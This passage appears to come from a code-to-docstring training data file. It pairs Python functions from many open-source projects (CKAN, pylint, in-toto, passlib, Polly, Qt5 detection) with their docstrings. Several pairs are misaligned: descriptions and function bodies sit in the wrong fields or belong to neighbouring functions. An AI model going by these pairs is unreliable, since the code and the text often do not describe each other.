context.get(u'revision_id')\n revision_date = context.get(u'revision_date')\n\n if revision_id:\n revision = session.query(revision_model.Revision) \\\n .filter_by(id=revision_id).first()\n if not revision:\n raise logic.NotFound\n revision_date = revision.timestamp\n\n q = q.where(rev_table.c.revision_timestamp <= revision_date)\n q = q.where(rev_table.c.expired_timestamp > revision_date)\n\n return session.execute(q)\n\n", "nl": "Takes an SqlAlchemy query (q) that is (at its base) a Select on an objectrevision table (rev_table), and you provide revision_id or revision_date inthe context and it will filter the object revision(s) to an earlier time.Raises NotFound if context['revision_id'] is provided, but the revisionID does not exist.Returns [] if there are no results."} {"code": "def list_tenant_endpoints(self, tenant_id):\n tenant_specific_templates = []\n if tenant_id in self.endpoints_for_tenants:\n for template_id in self.endpoints_for_tenants[tenant_id]:\n tenant_specific_templates.append(template_id)\n\n endpoints = []\n for _, endpoint_template in self.endpoint_templates.items():\n if (endpoint_template.enabled_key or\n endpoint_template.id_key in tenant_specific_templates):\n endpoints.append(\n Endpoint(\n tenant_id,\n endpoint_template.region_key,\n endpoint_template.id_key,\n endpoint_template.version_id,\n external=True,\n complete_url=endpoint_template.get_url(\n endpoint_template.public_url,\n tenant_id\n ),\n internal_url=endpoint_template.get_url(\n endpoint_template.internal_url,\n tenant_id\n )\n )\n )\n return endpoints\n", "nl": "List the tenant specific endpoints.:param six.text_type tenant_id: tenant id to operate on:returns: an iterable of the endpoints available for the specifiedtenant id:rtype: iterable"} {"code": "def p_strict_aliased_table_expr_list(p):\n if len(p) == 2:\n p[0] = [p[1]]\n else:\n p[1].append(p[3])\n p[0] = p[1]\n\n", "nl": "strict_aliased_table_expr_list : aliased_table_expr| strict_aliased_table_expr_list COMMA \\aliased_table_expr"} {"code": "def urlretrieve(url, filename, data=None, timeout=300):\n Returns an hash object of type md5 or sha1. This function is implemented in\n order to encapsulate hash objects in a way that is compatible with python\n 2.4 and python 2.6 without warnings.\n\n Note that even though python 2.6 hashlib supports hash types other than\n md5 and sha1, we are artificially limiting the input values in order to\n make the function to behave exactly the same among both python\n implementations.\n\n :param input: Optional input string that will be used to update the hash.\n \"\"\"", "nl": "Retrieve a file from given url.logging.debug('Fetching %s -> %s', url, filename)src_file = urlopen(url, data=data, timeout=timeout)try:dest_file = open(filename, 'wb')try:shutil.copyfileobj(src_file, dest_file)finally:dest_file.close()finally:src_file.close()def hash(type, input=None):"} {"code": "def save_results(trainer, base_fname='figure_data_', store_x=True):\n if not store_x:", "nl": "Save the function trace for different optimizers for agiven model to a .npz file."} {"code": "def _send(self, email_message):\n A container for email information.\n \"\"\"", "nl": "A helper method that does the actual sending.if not email_message.recipients():return Falsetry:self.connection.sendmail(email_message.from_email,email_message.recipients(),email_message.message().as_string())except:if not self.fail_silently:raisereturn Falsereturn Trueclass EmailMessage(object):"} {"code": "def close(self, **kwargs): # pylint: disable=unused-argument\n", "nl": "Close TCP connection to graphite relay.log.info('closing connection to %s on port %s', self.server, self.port)log.info('TCP info: %s', self.connection)try:self.connection.close()except (ConnectionRefusedError, ConnectionResetError, socket.timeout,ConnectionAbortedError) as exc:log.warning('closing connection failed: %s', exc)except (AttributeError, OSError) as exc:log.critical('closing connection failed: %s. We should not receive'' this exception, it is a BUG',exc)else:log.info('successfully closed connection to %s on port %s',self.server,self.port)dispatcher = Dispatcher() # pylint: disable=I0011,C0103class FileHandler():A handler to write data to a file."} {"code": "def _subwidget_names(self):\n if option == '':\n return\n elif not isinstance(option, str):\n option = repr(option)\n if not isinstance(value, str):\n value = repr(value)\n names = self._subwidget_names()\n for name in names:\n self.tk.call(name, 'configure', '-' + option, value)", "nl": "Return the name of all subwidgets.try:x = self.tk.call(self._w, 'subwidgets', '-all')return self.tk.splitlist(x)except TclError:return Nonedef config_all(self, option, value):Set configuration options for all subwidgets (and self)."} {"code": "def open_dataset(self):\n if not self._check_opens(): return True\n objects = self.dexnet_api.list_objects()\n obj_name = self._get_fixed_input(objects + [''], \"object key [ENTER for entire dataset]\")\n if obj_name is None: return True\n\n if obj_name == '':\n obj_names = objects\n else:\n obj_names = [obj_name]\n for obj_name in obj_names:\n try:\n self.dexnet_api.compute_simulation_data(obj_name)\n except Exception as e:\n print(\"Computing simulation preprocessing failed: {}\".format(str(e)))\n return True\n", "nl": " Open a dataset if self.dexnet_api.database is None:print('You must open a database first')return True# show existing datasetsexisting_datasets = [d.name for d in self.dexnet_api.database.datasets]print('Existing datasets:')for dataset_name in existing_datasets:print(dataset_name)print()# dexnet entity tab completionself.comp.set_words(existing_datasets)dataset_name = self._get_checked_input(lambda x: True, \"dataset name\")if dataset_name is None: return Trueif dataset_name not in existing_datasets:print('Dataset {} does not exist'.format(dataset_name))return Truetry:self.dexnet_api.open_dataset(dataset_name)print('Opened dataset {}'.format(dataset_name))printexcept Exception as e:print(\"Opening dataset failed: {}\".format(str(e)))return Truedef compute_simulation_data(self): Preprocesses an object for simulation. "} {"code": "def _normed_hermite_n(x, n):\n if n == 0:\n return np.full(x.shape, 1/np.sqrt(np.sqrt(np.pi)))\n\n c0 = 0.\n c1 = 1./np.sqrt(np.sqrt(np.pi))\n nd = float(n)\n for i in range(n - 1):\n tmp = c0\n c0 = -c1*np.sqrt((nd - 1.)/nd)\n c1 = tmp + c1*x*np.sqrt(2./nd)\n nd = nd - 1.0\n return c0 + c1*x*np.sqrt(2)\n\n", "nl": "Evaluate a normalized Hermite polynomial.Compute the value of the normalized Hermite polynomial of degree ``n``at the points ``x``.Parameters----------x : ndarray of double.Points at which to evaluate the functionn : intDegree of the normalized Hermite function to be evaluated.Returns-------values : ndarrayThe shape of the return value is described above.Notes-----.. versionadded:: 1.10.0This function is needed for finding the Gauss points and integrationweights for high degrees. The values of the standard Hermite functionsoverflow when n >= 207."} {"code": "def test_base_path_is_child_dir(self):\n base_path = \"..\"\n expected_artifacts = sorted([\"foosub1\", \"foosub2\", \"subsubdir/foosubsub\"])\n os.chdir(\"subdir/subsubdir\")\n\n in_toto.settings.ARTIFACT_BASE_PATH = base_path\n artifacts_dict = record_artifacts_as_dict([\".\"])\n self.assertListEqual(sorted(list(artifacts_dict.keys())),\n expected_artifacts)\n in_toto.settings.ARTIFACT_BASE_PATH = None\n\n artifacts_dict = record_artifacts_as_dict([\".\"], base_path=base_path)\n self.assertListEqual(sorted(list(artifacts_dict.keys())),\n expected_artifacts)\n\n os.chdir(self.test_dir)\n\n", "nl": "Test path of recorded artifacts and cd back with child as base.base_path = \"subdir\"expected_artifacts = sorted([\"foosub1\", \"foosub2\", \"subsubdir/foosubsub\"])in_toto.settings.ARTIFACT_BASE_PATH = base_pathartifacts_dict = record_artifacts_as_dict([\".\"])self.assertListEqual(sorted(list(artifacts_dict.keys())),expected_artifacts)in_toto.settings.ARTIFACT_BASE_PATH = Noneartifacts_dict = record_artifacts_as_dict([\".\"], base_path=base_path)self.assertListEqual(sorted(list(artifacts_dict.keys())),expected_artifacts)def test_base_path_is_parent_dir(self):Test path of recorded artifacts and cd back with parent as base. "} {"code": "def route_read(self, path, query):\n self.send_response(status.code, status.message)\n self.send_header('Content-type', content_type)\n self.send_header('Transfer-Encoding', 'chunked')\n self.send_header('Connection', 'close')\n self.end_headers()\n", "nl": "Handles routing for reading text (speech synthesis)# Get the parameters from the query stringtext = self.query_get(query, \"text\")voiceId = self.query_get(query, \"voiceId\")outputFormat = self.query_get(query, \"outputFormat\")# Validate the parameters, set error flag in case of unexpected# valuesif len(text) == 0 or len(voiceId) == 0 or \\outputFormat not in AUDIO_FORMATS:raise HTTPStatusError(HTTP_STATUS[\"BAD_REQUEST\"],\"Wrong parameters\")else:try:# Request speech synthesisresponse = polly.synthesize_speech(Text=text,VoiceId=voiceId,OutputFormat=outputFormat)except (BotoCoreError, ClientError) as err:# The service returned an errorraise HTTPStatusError(HTTP_STATUS[\"INTERNAL_SERVER_ERROR\"],str(err))return ResponseData(status=HTTP_STATUS[\"OK\"],content_type=AUDIO_FORMATS[outputFormat],# Access the audio stream in the responsedata_stream=response.get(\"AudioStream\"))def send_headers(self, status, content_type):Send out the group of headers for a successful request"} {"code": "def readConnectionLost(self):\n self.exitCode = 0\n reactor.stop()\n\n", "nl": "This is the desired event. Once it has happened, stop the reactor sothe process will exit."} {"code": "def isUnbooked(self):\n return self.data.unbooked\n\n\nclass NestedProc(Proc):\n \"\"\"This class contains information and actions related to a nested job.\"\"\"", "nl": "Returns whether this proc is unbooked.:rtype: bool:return: whether the proc is unbooked"} {"code": "def _check_nonlocal_and_global(self, node):\n if (\n (node.op in \"+-\")\n and isinstance(node.operand, astroid.UnaryOp)\n and (node.operand.op == node.op)\n ):\n self.add_message(\"nonexistent-operator\", node=node, args=node.op * 2)\n", "nl": "Check that a name is both nonlocal and global.def same_scope(current):return current.scope() is nodefrom_iter = itertools.chain.from_iterablenonlocals = set(from_iter(child.namesfor child in node.nodes_of_class(astroid.Nonlocal)if same_scope(child)))if not nonlocals:returnglobal_vars = set(from_iter(child.namesfor child in node.nodes_of_class(astroid.Global)if same_scope(child)))for name in nonlocals.intersection(global_vars):self.add_message(\"nonlocal-and-global\", args=(name,), node=node)@utils.check_messages(\"return-outside-function\")def visit_return(self, node):if not isinstance(node.frame(), astroid.FunctionDef):self.add_message(\"return-outside-function\", node=node)@utils.check_messages(\"yield-outside-function\")def visit_yield(self, node):self._check_yield_outside_func(node)@utils.check_messages(\"yield-outside-function\")def visit_yieldfrom(self, node):self._check_yield_outside_func(node)@utils.check_messages(\"not-in-loop\", \"continue-in-finally\")def visit_continue(self, node):self._check_in_loop(node, \"continue\")@utils.check_messages(\"not-in-loop\")def visit_break(self, node):self._check_in_loop(node, \"break\")@utils.check_messages(\"useless-else-on-loop\")def visit_for(self, node):self._check_else_on_loop(node)@utils.check_messages(\"useless-else-on-loop\")def visit_while(self, node):self._check_else_on_loop(node)@utils.check_messages(\"nonexistent-operator\")def visit_unaryop(self, node):check use of the non-existent ++ and -- operator operator"} {"code": "def paint(self):\n snippet = {\n 'heatmap-radius': VectorStyle.get_style_value(self.radius),\n 'heatmap-opacity': VectorStyle.get_style_value(self.opacity),\n 'heatmap-color': VectorStyle.get_style_value(self.color),\n 'heatmap-intensity': VectorStyle.get_style_value(self.intensity),\n 'heatmap-weight': VectorStyle.get_style_value(self.weight)\n }\n\n return snippet", "nl": "Renders a javascript snippet suitable for use as a mapbox-gl heatmap paint entryReturns:A dict that can be converted to a mapbox-gl javascript paint snippet"} {"code": "def _wait_until_machine_finish(self):\n self.image._wait_for_machine_finish(self.name)\n self.start_process.kill()\n time.sleep(constants.DEFAULT_SLEEP)\n", "nl": "Internal methodwait until machine finish and kill main process (booted):return: None"} {"code": "def extract_box_classifier_features(self, proposal_feature_maps, scope):\n with tf.variable_scope(\n scope, values=[proposal_feature_maps], reuse=tf.AUTO_REUSE):\n return self._extract_box_classifier_features(proposal_feature_maps, scope)\n\n @abc.abstractmethod", "nl": "Extracts second stage box classifier features.Args:proposal_feature_maps: A 4-D float tensor with shape[batch_size * self.max_num_proposals, crop_height, crop_width, depth]representing the feature map cropped to each proposal.scope: A scope name.Returns:proposal_classifier_features: A 4-D float tensor with shape[batch_size * self.max_num_proposals, height, width, depth]representing box classifier features for each proposal."} {"code": "def Params(cls, extractors):\n p = super().Params()\n p.Define('extractors', extractors,\n 'A hyperparams.Params() of FieldsExtractors.')\n p.Define('preprocessors', hyperparams.Params(),\n 'A Params() of Preprocessors.')\n p.Define(\n 'preprocessors_order', [],\n 'A list corresponding to flattened keys in preprocessors '\n 'Params(). This specifies the execution order of the '\n 'preprocessors.')\n p.Define('record_type', 'EXAMPLE',", "nl": "Defaults params.Args:extractors: An hyperparams.Params of extractor names to Extractors. A fewextractor types are *required*:'labels': A LabelExtractor.Params().Returns:A base_layer Params object."} {"code": "def getImagesUndistort(self,imgLeft, imgRight, calibration, rectification, WinSize=(352,288)):\n imgLeft = imgLeft.getMatrix()\n imgRight = imgRight.getMatrix()\n (CM1, CM2, D1, D2, R, T, E, F) = calibration\n (R1, R2, P1, P2, Q, roi) = rectification\n\n dst1 = cv.CloneMat(imgLeft)\n dst2 = cv.CloneMat(imgRight)\n map1x = cv.CreateMat(WinSize[1], WinSize[0], cv.CV_32FC1)\n map2x = cv.CreateMat(WinSize[1], WinSize[0], cv.CV_32FC1)\n map1y = cv.CreateMat(WinSize[1], WinSize[0], cv.CV_32FC1)\n map2y = cv.CreateMat(WinSize[1], WinSize[0], cv.CV_32FC1)\n\n cv.InitUndistortRectifyMap(CM1, D1, R1, P1, map1x, map1y)\n cv.InitUndistortRectifyMap(CM2, D2, R2, P2, map2x, map2y)\n\n cv.Remap(imgLeft, dst1, map1x, map1y)\n cv.Remap(imgRight, dst2, map2x, map2y)\n return Image(dst1), Image(dst2)\n", "nl": "**SUMMARY**Rectify two images from the calibration and rectification parameters.**PARAMETERS*** *imgLeft* - Image captured from left camera and needs to be rectified.* *imgRight* - Image captures from right camera and need to be rectified.* *calibration* - A calibration tuple of the format (CM1, CM2, D1, D2, R, T, E, F)* *rectification* - A rectification tuple of the format (R1, R2, P1, P2, Q, roi)**RETURNS**returns rectified images in a tuple -> (imgLeft,imgRight)>>> StereoCam = StereoCamera()>>> calibration = StereoCam.loadCalibration(fname=\"Stereo1\")>>> rectification = StereoCam.stereoRectify(loadedCalibration)>>> imgLeft = camLeft.getImage()>>> imgRight = camRight.getImage()>>> rectLeft,rectRight = StereoCam.getImagesUndistort(imgLeft,imgRight,calibration,rectification)"} {"code": "def name(self):\n if self.import_name == '__main__':\n fn = getattr(sys.modules['__main__'], '__file__', None)\n if fn is None:\n return '__main__'\n return os.path.splitext(os.path.basename(fn))[0]\n return self.import_name\n\n @property", "nl": "The name of the application. This is usually the import namewith the difference that it's guessed from the run file if theimport name is main. This name is used as a display name whenFlask needs the name of the application. It can be set and overriddento change the value... versionadded:: 0.8"} {"code": "def fetch_public_key(repo):\n keyurl = 'https://api.travis-ci.org/repos/{0}/key'.format(repo)\n data = json.loads(urlopen(keyurl).read().decode())\n if 'key' not in data:\n errmsg = \"Could not find public key for repo: {}.\\n\".format(repo)\n errmsg += \"Have you already added your GitHub repo to Travis?\"\n raise ValueError(errmsg)\n return data['key']\n\n", "nl": "Download RSA public key Travis will use for this repo.Travis API docs: http://docs.travis-ci.com/api/#repository-keys"} {"code": "def remove_equals(jarvis, equation):\n split = equation.split('=')\n if len(split) == 1:\n return equation\n if len(split) != 2:\n jarvis.say(\"Warning! More than one = detected!\", Fore.RED)\n return equation\n\n return \"{} - ({})\".format(split[0], split[1])\n\n", "nl": "User should be able to input equations like x + y = 1.SymPy only accepts equations like: x + y - 1 = 0.=> This method Finds '=' and move everything beyond to left side"} {"code": "def setstate(self, state):\n\nclass BufferedIncrementalDecoder(IncrementalDecoder):\n \"\"\"", "nl": "Set the current state of the decoder.state must have been returned by getstate(). The effect ofsetstate((b\"\", 0)) must be equivalent to reset()."} {"code": "def _alloc(self, owner, new_ip):\n ip_file = os.path.join(self._base_path, new_ip)\n owner_file = os.path.join(self._owner_path, owner)\n try:\n os.symlink(os.path.relpath(owner_file, self._base_path), ip_file)\n _LOGGER.debug('Allocated %r for %r', new_ip, owner)\n except OSError as err:\n if err.errno == errno.EEXIST:\n return False\n raise\n return True", "nl": "Atomaticly grab an IP for an owner."} {"code": "def getusersitepackages():\n global USER_SITE\n userbase = getuserbase()\n\n if USER_SITE is None:\n USER_SITE = _get_path(userbase)\n\n return USER_SITE\n", "nl": "Returns the user-specific site-packages directory path.If the global variable ``USER_SITE`` is not initialized yet, thisfunction will also set it."} {"code": "def __new__(cls, *args, **kwargs):\n if cls._instance is None:\n cls._instance = super(Context, cls).__new__(cls, *args, **kwargs)\n cls._new_called += 1\n\n return cls._instance\n\n @staticmethod", "nl": "Make this object a singleton. We're using this in optionhandler as well,so we should probably create a decorator. I'm surprised Python doesn'tprovide one. Alternatively we could just make everything class methodson this class."} {"code": "def test_private_op_new():\n\n m2 = m.get_moveissue2(2)\n assert m2.value == 2\n m1 = m.get_moveissue1(1)\n assert m1.value == 1", "nl": "An object with a private `operator new` cannot be returned by valuewith pytest.raises(RuntimeError) as excinfo:m.private_op_new_value()assert \"is neither movable nor copyable\" in str(excinfo.value)assert m.private_op_new_reference().value == 1def test_move_fallback():#389: rvp::move should fall-through to copy on non-movable objects"} {"code": "def detect_qt5(platform, arch, is_universal):\n path = None\n qt5_prefix = os.environ.get('QT5_PREFIX', None)\n qmake_path = os.environ.get('QMAKE', None)\n if not qt5_prefix and not qmake_path:\n return (None, None)\n if qt5_prefix and not os.path.isdir(qt5_prefix):\n m.warning('QT5_PREFIX={!r} does not exist'.format(qt5_prefix))\n return (None, None)\n if qmake_path:\n try:\n qt_version = shell.check_output([qmake_path, '-query', 'QT_VERSION']).strip()\n qt_version = [int(v) for v in qt_version.split('.')]\n except CommandError as e:\n m.warning('QMAKE={!r} failed to execute:\\n{}'.format(str(qmake_path), str(e)))\n qt_version = [0, 0]\n if len(qt_version) >= 2 and qt_version[:2] < [5, 14] and \\\n is_universal and platform == Platform.ANDROID:\n if not qt5_prefix:\n m.warning('Please set QT5_PREFIX if you want to build '\n 'the Qt5 plugin for android-universal with Qt < 5.14')\n return (None, None)\n else:\n ret = _qmake_or_pkgdir(qmake_path)\n if ret != (None, None) or not qt5_prefix:\n return ret\n if platform == Platform.ANDROID:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'android/bin/qmake'))\n if ret != (None, None):\n return ret\n if arch == Architecture.ARMv7:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'android_armv7/bin/qmake'))\n elif arch == Architecture.ARM64:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'android_arm64_v8a/bin/qmake'))\n elif arch == Architecture.X86:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'android_x86/bin/qmake'))\n elif arch == Architecture.X86_64:\n return (None, None)\n elif platform == Platform.DARWIN:\n if arch == Architecture.X86_64:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'clang_64/bin/qmake'))\n elif platform == Platform.IOS:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'ios/bin/qmake'))\n elif platform == Platform.LINUX:\n if arch == Architecture.X86_64:\n ret = _qmake_or_pkgdir(os.path.join(qt5_prefix, 'gcc_64/bin/qmake'))\n elif platform == Platform.WINDOWS:\n m.warning('You must set QMAKE instead of QT5_PREFIX on Windows')\n return (None, None)\n if ret == (None, None):\n m.warning('Unsupported arch {!r} on platform {!r}'.format(arch, platform))\n return ret\n", "nl": "Returns both the path to the pkgconfig directory and the path to qmake:(pkgdir, qmake). If `pkgdir` could not be found, it will be NoneReturns (None, None) if nothing was found."} {"code": "def iterkeys(self) -> Iterator[str]:\n cursor = self.conn.cursor()\n for row in cursor.execute(\"SELECT key FROM kv\"):\n yield row[0]\n", "nl": "Yield keys from the key-value store one by one.:yields: The keys in the key-value store"} {"code": "def presale_fund_collector(chain, presale_freeze_ends_at, team_multisig) -> Contract:\n presale_fund_collector.functions.setCrowdsale(uncapped_flatprice.address).transact({\"from\": team_multisig})\n return uncapped_flatprice\n\n\n@pytest.fixture", "nl": "In actual ICO, the price is doubled (for testing purposes).args = [team_multisig,presale_freeze_ends_at,to_wei(1, \"ether\")]tx = {\"from\": team_multisig,}presale_fund_collector, hash = chain.provider.deploy_contract('PresaleFundCollector', deploy_args=args, deploy_transaction=tx)return presale_fund_collector@pytest.fixturedef presale_crowdsale(chain, presale_fund_collector, uncapped_flatprice, team_multisig):ICO associated with the presale where funds will be moved to a presale."} {"code": "def test_weird_target_1(self):\n\n a = \"\"\"\n self.check(b, a)\n", "nl": "b = try:passexcept Exception, d[5]:pass"} {"code": "def _iter_ldap_schemes():", "nl": "helper which iterates over supported std ldap schemesreturn chain(std_ldap_schemes, _iter_ldap_crypt_schemes())ldap_context = LazyCryptContext(_iter_ldap_schemes())### create context with all std ldap schemes + crypt schemes for localhost##def _iter_host_ldap_schemes():## \"helper which iterates over supported std ldap schemes\"## from freenet_passlib_170.handlers.ldap_digests import get_host_ldap_crypt_schemes## return chain(std_ldap_schemes, get_host_ldap_crypt_schemes())##ldap_host_context = LazyCryptContext(_iter_host_ldap_schemes())#=============================================================================# mysql#=============================================================================mysql3_context = LazyCryptContext([\"mysql323\"])mysql4_context = LazyCryptContext([\"mysql41\", \"mysql323\"], deprecated=\"mysql323\")mysql_context = mysql4_context # tracks latest mysql version supported#=============================================================================# postgres#=============================================================================postgres_context = LazyCryptContext([\"postgres_md5\"])#=============================================================================# phpass & variants#=============================================================================def _create_phpass_policy(**kwds):helper to choose default alg based on bcrypt availability"} {"code": "def references(self, table):\n\n return table.corresponding_column(self.column) is not None\n", "nl": "Return True if the given :class:`_schema.Table`is referenced by this:class:`_schema.ForeignKey`."} {"code": "def _lat_err_to_deg(self, latitude_stderr):\n if latitude_stderr is not None:\n return round(latitude_stderr / 111.1949, 4)\n else:\n return None\n", "nl": "Convert latitude error from km to degreesusing a simple formula"} {"code": "def do_show(self, line, cmd):\n\n try:\n args = shlex.split(line)\n except Exception as e:\n import traceback; log.debug(traceback.format_exc())\n log.warning(messages.generic.error_parsing_command_s % str(e))\n\n else:\n if len(args) < 2:\n log.warning(messages.terminal.set_usage)\n elif len(args) >= 2:\n args[1] = ' '.join(args[1:])\n self.session.set(args[0], args[1])\n", "nl": "Command \"show\" which prints session variablesself.session.print_to_user(line)def do_set(self, line, cmd):Command \"set\" to set session variables."} {"code": "def __init__(self, title=None, bag=None):\n self.title = title\n self.bag = bag\n\n self._creator = u''\n self.modifier = None\n self.created = u''\n self.modified = current_timestring()\n self.tags = []\n self.fields = {}\n self.text = u''\n self.type = None\n self.revision = None\n self.recipe = None\n self.store = None\n", "nl": "Create a new Tiddler object.A ``title`` is required to create a tiddler."} {"code": "def connect(self):\n\t\tif self.closed is False:\n\t\t\treturn\n\n\t\tif hasattr(self, 'pq'):\n\t\t\tx = self.pq.xact\n\t\t\tself.typio.raise_error(x.error_message, cause = getattr(x, 'exception', None), creator = self)\n\n\t\ttry:\n\t\t\tself._establish()\n\t\texcept Exception:\n\t\t\tself.close()\n\t\t\traise\n", "nl": "Establish the connection to the server."} {"code": "def _split_into_plays(shakespeare_full):\n Splits character data into train and test sets.\n if test_fraction <= 0, returns {} for all_test_examples\n plays := list of (play, dict) tuples where play is a string and dict\n is a dictionary with character names as keys\n \"\"\"", "nl": "Splits the full data by play.# List of tuples (play_name, dict from character to list of lines)plays = []discarded_lines = [] # Track discarded lines.slines = shakespeare_full.splitlines(True)[1:]# skip contents, the sonnets, and all's well that ends wellauthor_count = 0start_i = 0for i, l in enumerate(slines):if 'by William Shakespeare' in l:author_count += 1if author_count == 1:start_i = i - 5breakslines = slines[start_i:]current_character = Nonecomedy_of_errors = Falsefor i, line in enumerate(slines):# This marks the end of the plays in the file.if i > 124195 - start_i:break# This is a pretty good heuristic for detecting the start of a new play:if 'by William Shakespeare' in line:current_character = Nonecharacters = collections.defaultdict(list)# The title will be 2, 3, 4, 5, 6, or 7 lines above \"by William Shakespeare\".if slines[i - 2].strip():title = slines[i - 2]elif slines[i - 3].strip():title = slines[i - 3]elif slines[i - 4].strip():title = slines[i - 4]elif slines[i - 5].strip():title = slines[i - 5]elif slines[i - 6].strip():title = slines[i - 6]else:title = slines[i - 7]title = title.strip()assert title, ('Parsing error on line %d. Expecting title 2 or 3 lines above.' %i)comedy_of_errors = (title == 'THE COMEDY OF ERRORS')# Degenerate plays are removed at the end of the method.plays.append((title, characters))continuematch = _match_character_regex(line, comedy_of_errors)if match:character, snippet = match.group(1), match.group(2)# Some character names are written with multiple casings, e.g., SIR_Toby# and SIR_TOBY. To normalize the character names, we uppercase each name.# Note that this was not done in the original preprocessing and is a# recent fix.character = character.upper()if not (comedy_of_errors and character.startswith('ACT ')):characters[character].append(snippet)current_character = charactercontinueelse:current_character = Nonecontinueelif current_character:match = _match_continuation_regex(line, comedy_of_errors)if match:if comedy_of_errors and match.group(1).startswith('<'):current_character = Nonecontinueelse:characters[current_character].append(match.group(1))continue# Didn't consume the line.line = line.strip()if line and i > 2646:# Before 2646 are the sonnets, which we expect to discard.discarded_lines.append('%d:%s' % (i, line))# Remove degenerate \"plays\".return [play for play in plays if len(play[1]) > 1], discarded_linesdef _remove_nonalphanumerics(filename):return re.sub('\\\\W+', '_', filename)def play_and_character(play, character):return _remove_nonalphanumerics((play + '_' + character).replace(' ', '_'))def _get_train_test_by_character(plays, test_fraction=0.2):"} {"code": "def __init__(self, transform, oss_config, image_root, ann_root, filename, max_words=30, prompt=''):\n\n print(oss_config)\n\n self.oss_bucket = self._oss_setup(oss_config)\n\n self.annotation = json.load(open(os.path.join(ann_root, filename),'r'))\n self.transform = transform\n self.image_root = image_root\n self.max_words = max_words\n self.prompt = prompt\n\n self.img_ids = {}\n n = 0\n for ann in self.annotation:\n img_id = ann['image_id']\n if img_id not in self.img_ids.keys():\n self.img_ids[img_id] = n\n n += 1\n", "nl": "image_root (string): Root directory of images (e.g. flickr30k/)ann_root (string): directory to store the annotation file"} {"code": "def get_scenario_coll_name(self, scenario_def):\n return collection.name\n", "nl": "Allow subclasses to override a test's collection name.return scenario_def[\"collection_name\"]def get_outcome_coll_name(self, outcome, collection):Allow subclasses to override outcome collection."} {"code": "default_app_config = \"cacheops.apps.CacheopsConfig\"\n__version__ = '6.1'\nVERSION = tuple(map(int, __version__.split('.')))\n\nimport django\nfrom .simple import *\nfrom .query import *\nfrom .invalidation import *\nfrom .reaper import *\nfrom .templatetags.cacheops import *\n\n\nif django.VERSION < (3, 2):", "nl": "default_app_config = \"cacheops.apps.CacheopsConfig\""} {"code": "def __init__(self, fmt=None, datefmt=None, style='%'):\n if style not in _STYLES:\n raise ValueError('Style must be one of: %s' % ','.join(\n _STYLES.keys()))\n self._style = _STYLES[style][0](fmt)\n self._fmt = self._style._fmt\n self.datefmt = datefmt\n", "nl": "Initialize the formatter with specified format strings.Initialize the formatter either with the specified format string, or adefault as described above. Allow for specialized date formatting withthe optional datefmt argument. If datefmt is omitted, you get anISO8601-like (or RFC 3339-like) format.Use a style parameter of '%', '{' or '$' to specify that you want touse one of %-formatting, :meth:`str.format` (``{}``) formatting or:class:`string.Template` formatting in your format string... versionchanged:: 3.2Added the ``style`` parameter."} {"code": "def refresh(self):\n self._server.query('/library/sections/all/refresh?force=1')\n", "nl": " Forces a download of fresh media information from the internet.This can take a long time. Any locked fields are not modified."} {"code": "def get_successor_number(self):\n return self.number < other.number\n\n\nclass PDBSwitch:\n\n \"\"\"Base class for switches connected to a P-ROC/P3-ROC.\"\"\"", "nl": "Return next number.return self.number + 1def __lt__(self, other):Order lights by hardware number."} {"code": "def test_query_courses_course_runs_filter_composed_facets(self, *_):\n data = self.prepare_indices(\n suite=[[\"A\", \"B\"], [\"H\", \"C\"], [\"E\", \"I\"], [\"G\", \"F\"]],\n )\n response = self.client.get(\n \"/api/v1.0/courses/?availability=ongoing&languages=en\"\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(\n list((o[\"state\"] for o in response.json()[\"objects\"])),\n [\n {\n \"call_to_action\": \"enroll now\",\n \"datetime\": data[\"course_runs\"][\"B\"][\"enrollment_end\"]\n .isoformat()\n .replace(\"+00:00\", \"Z\"),\n \"priority\": 0,\n \"text\": \"closing on\",\n },\n {\n \"call_to_action\": None,\n \"datetime\": None,\n \"priority\": 5,\n \"text\": \"on-going\",\n },\n ],\n )\n self.assertEqual(\n response.json()[\"filters\"][\"languages\"][\"values\"],\n [\n {\"count\": 2, \"human_name\": \"\n {\"count\": 2, \"human_name\": \"\n ],\n )\n self.assertEqual(\n response.json()[\"filters\"][\"availability\"][\"values\"],\n [\n {\"count\": 2, \"human_name\": \"Open for enrollment\", \"key\": \"open\"},\n {\"count\": 1, \"human_name\": \"Coming soon\", \"key\": \"coming_soon\"},\n {\"count\": 2, \"human_name\": \"On-going\", \"key\": \"ongoing\"},\n {\"count\": 2, \"human_name\": \"Archived\", \"key\": \"archived\"},\n ],\n )\n self.assertEqual(\n response.json()[\"filters\"][\"subjects\"][\"values\"],\n [\n {\n \"count\": 2,\n \"human_name\": \"Subject\n \"key\": data[\"top_subjects\"][1].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Subject\n \"key\": data[\"top_subjects\"][0].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Subject\n \"key\": data[\"top_subjects\"][3].get_es_id(),\n },\n {\n \"count\": 0,\n \"human_name\": \"Subject\n \"key\": data[\"top_subjects\"][2].get_es_id(),\n },\n ],\n )\n self.assertEqual(\n response.json()[\"filters\"][\"levels\"][\"values\"],\n [\n {\n \"count\": 1,\n \"human_name\": \"Level\n \"key\": data[\"levels\"][0].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Level\n \"key\": data[\"levels\"][1].get_es_id(),\n },\n {\n \"count\": 0,\n \"human_name\": \"Level\n \"key\": data[\"levels\"][2].get_es_id(),\n },\n ],\n )\n self.assertEqual(\n response.json()[\"filters\"][\"organizations\"][\"values\"],\n [\n {\n \"count\": 2,\n \"human_name\": \"Organization\n \"key\": data[\"top_organizations\"][3].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Organization\n \"key\": data[\"top_organizations\"][0].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Organization\n \"key\": data[\"top_organizations\"][1].get_es_id(),\n },\n {\n \"count\": 0,\n \"human_name\": \"Organization\n \"key\": data[\"top_organizations\"][2].get_es_id(),\n },\n ],\n )\n", "nl": "Check that facet counts are affected on availability and languages as expectedwhen we filter on both languages and availability.We must fix the course runs suite because facet counts may vary if courseruns with the same language (resp. availability) get grouped under the samecourse."} {"code": "def _symmetric_difference_card(self) 